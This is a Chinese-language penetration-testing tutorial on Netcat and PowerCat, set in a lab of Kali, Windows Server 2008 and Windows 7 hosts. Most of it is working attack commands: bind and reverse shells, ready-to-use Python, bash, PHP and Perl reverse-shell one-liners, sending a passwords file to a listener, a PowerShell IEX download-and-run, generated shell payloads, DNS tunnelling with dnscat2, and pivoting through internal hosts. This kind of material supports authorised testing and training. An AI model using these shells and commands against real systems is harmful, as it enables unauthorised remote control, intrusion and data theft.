Netcat、PowerCat用法詳解
簡易使用
Banner抓取
Banner抓取是一種在開放端口上檢索關于特定服務信息的技術,在滲透測試中用于漏洞的評估
執行以下命令,可以得知目標主機端口運行的服務
nc -nv

遠程連接主機
nc -nvv
端口掃描
掃描指定端口
nc -v

掃描指定端口段(速度較慢)
nc -v -z -
端口監聽
監聽本地端口,訪問時輸出到命令行
nc -l -p 9999

文件傳輸
在本地服務器生成一個1.txt文件并監聽
nc -lp 333 >1.txt
在目標主機與服務器333端口建立連接,傳輸一個password文件
nc -vn 192.168.200.6 333 < passwords.txt -q 1

簡易聊天
本地服務器監聽
nc -l -p 9999
目標主機輸入
nc -nv 192.168.200.6 9999

獲取SHELL
正向shell(客戶端獲取服務器shell)
控制端主動發起連接去連接被控制端。
目標主機輸入命令監聽目標主機9999端口
nc -lvp 9999 -e /bin/sh //Lunix nc -lvp 9999 -e c:\windows\system32\cmd.exe //Windows

輸入命令在本地或者服務器上連接目標主機的9999端口
nc 192.168.200.6 9999

反向shell(服務器獲取客戶端shell)
被控制端主動連接控制端。
輸入命令在本地或者服務器上監聽9999端口
nc -lvp 9999
目標主機輸入命令連接服務器9999端口
nc 192.168.200.6 9999 -e /bin/sh //Linux nc 192.168.200.6 9999 -e c:\windows\system32\cmd.exe //Windows

在目標主機中沒有nc時獲取反向shell
一般情況目標主機中是沒有nc的,可以使用其他工具和編程語言代替nc,實現反向連接
Python反向Shell
在服務器監聽本地9999端口
nc -lvp 9999
在目標主機執行如下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.6",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash反向Shell
在服務器監聽本地9999端口
nc -lvp 9999
在目標主機執行如下命令
bash -c 'exec bash -i >& /dev/tcp/192.168.200.6/9999 0>&1'
PHP反向Shell
在服務器監聽本地9999端口
nc -lvp 9999
PHP常用在Web服務器上,是nc,perl和Bash很好的替代品
php -r '$sock=fsockopen("192.168.200.6",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反向Shell
在服務器監聽本地9999端口
nc -lvp 9999
如果此時目標主機使用的是Perl語言,仍然可以使用Perl來建立反向Shell
在目標主機運行如下命令
perl -e 'use Socket;$i="192.168.200.6";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">$S");open(STDOUT,">$S");open(STDERR,">&S");exec("/bin/sh -i");};'

內網代理
如圖所示,測試環境為:攻擊者服務器( Kali Linux);一個小型內網;三臺服務器。假設獲取了Web服務器的權限,通過 Kali Linux機器不能訪問數據庫服務器( Linux),但通過web服務器可以訪問數據庫服務器( Linux)。測試目標為:獲取數據庫服務器( Linux)的Shell

首先在服務器輸入如下命令監聽9999端口
nc -lvp 9999
接著在數據庫服務器執行如下命令
nc -lvp 9999 -e /bin/sh
最后在Web服務器執行如下命令
nc -v 192.168.1.4 9999 -c "nc -v 1.1.1.200 9999"
PowerCat
PowerCat可以說是nc的PowerShell版本,PowerCat可以通過執行命令回到本地運行,也可以使用遠程權限運行powercat(github.com)
導入powercat輸入Import-Module .\powercat.ps1
輸入“powercat -h”查看命令提示
通過nc正向連接PowerCat
在Windows server 2008服務器上執行監聽命令
powercat -l -p 8080 -e cmd.exe -v
然后在kali上執行
netcat 192.168.200.6 8080 -vv


通過nc反向連接PowerCat
在kali上監聽
nc -l -p 9999 -vv
在Windows server 2008執行,-c參數用于提供想要連接的IP地址
powercat -c 192.168.200.6 -p 9999 -v -e cmd.exe

通過PowerCat返回PowerShell
前面的操作都是可以與nc進行交互。但是,如果想返回PowerShell,則無法與nc進行交互。下面介紹如何讓Windows7和Windows server 2008建立正向連接
在Win7執行下載命令
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/powercat.ps1')
再執行監聽命令
powercat -l -p 9999 -v
在Win server 2008執行如下命令 -ep用于返回PowerShell
powercat -c 192.168.1.3 -p 9999 -v -ep

通過PowerCat傳輸文件
在win2008新建一個test.txt文件放在c盤根目錄下,在win7執行命令
powercat -l -p 9999 -of test.txt -v
回到win2008中執行命令
powercat -c 192.168.1.3 -p 9999 -i c:\test.txt -v
通過PowerCat生成Payload
用PowerCat生成的Payload也有正向和反向之分,且可以對其進行編碼
在win2008執行命令生成一個簡單的payload
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
將生成的ps1文件上傳到win7并執行,然后在win2008上執行如下命令反彈shell
powercat -c 192.168.1.3 -p 8000 -v

如果想要反彈PowerShell,win2008執行命令
powercat -l -p 8000 -ep -v -g >> shell.ps1
將生成的ps1文件上傳到win7并執行,然后在win2008上執行如下命令反彈Powershell
powercat -c 192.168.1.3 -p 8000 -v

PowerCat DNS隧道通信
PowerCat是一套基于DNS通信的協議,基于dnscat設計的
使用dnscat,依次執行
git clone https://github.com/iagox86/dnscat2 cd dnscat2/server/
gem install bundler
bundle install
在安裝了dnscat的Linux主機上運行
ruby dnscat2.rb ttpowercat.test -e open --no-cache
返回win2008執行命令
powercat -c 192.168.200.6 -p 53 -dns ttpowercat.test -e cmd.exe

將PowerCat作為跳板
測試環境為:三臺主機,其中 Windows Server2008主機可以通過ping命令訪問 Windows7主機和 Kali Linux主機, Kali Linux主機和 Windows7主機之間無法通過網絡連接。測試目標為:將 Windows Server2008主機作為跳板,讓 Kali Linux主機連接Windows7主機。
首先,在 Windows7中執行如下命令。
powercat -l -v -p 9999 -e cmd.exe
Windows Server2008中執行如下命令。
powercat -l -v -p 8000 -r tcp:192.168.1.3:9999
最后,讓 Kali Linux主機與 Windows Server2008主機進行連接,Windows Server2008主機就可以將流量轉發給Windows7了
nc 192.168.200.24 8000 -vv


